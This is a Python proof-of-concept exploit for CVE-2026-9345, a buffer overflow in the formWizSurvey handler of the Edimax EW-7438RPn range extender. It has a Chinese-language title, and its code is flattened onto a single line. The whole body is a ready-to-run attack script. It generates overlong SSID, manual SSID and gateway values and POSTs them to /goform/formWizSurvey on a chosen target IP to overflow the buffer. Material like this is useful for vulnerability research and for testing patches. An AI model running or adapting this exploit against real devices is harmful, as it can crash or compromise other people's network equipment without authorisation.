CVE-2026-9345 Edimax EW-7438RPn formWizSurvey缓冲区溢出漏洞

import requests # CVE-2026-9345 PoC - Edimax EW-7438RPn Buffer Overflow # Target: formWizSurvey function in /goform/formWizSurvey target_ip = "192.168.1.1" # Replace with target device IP target_port = 80 # Generate overflow payload - SSID field with excessive length # This triggers buffer overflow in formWizSurvey function def generate_payload(payload_type="ssid"): if payload_type == "ssid": # Long SSID to overflow buffer return "A" * 1024 # Adjust length based on actual vulnerable buffer size elif payload_type == "ip": # Overflow via IP parameter return "1.1.1." + "A" * 500 elif payload_type == "gateway": # Overflow via gateway parameter return "192.168." + "A" * 500 def exploit_buffer_overflow(target, payload_type="ssid"): """Send malicious request to trigger buffer overflow""" url = f"http://{target}/goform/formWizSurvey" # Construct payload with overflow data payload = generate_payload(payload_type) # HTTP POST data - parameters vulnerable to overflow data = { "ssid": payload, "manualssid": payload, "ip": "192.168.1.1", "mask": "255.255.255.0", "gateway": payload } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Request sent to {url}") print(f"[*] Payload length: {len(payload)}") print(f"[*] Response status: {response.status_code}") return response except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2026-9345 PoC - Edimax EW-7438RPn Buffer Overflow") print("[*] Target: formWizSurvey /goform/formWizSurvey") exploit_buffer_overflow(target_ip, "ssid")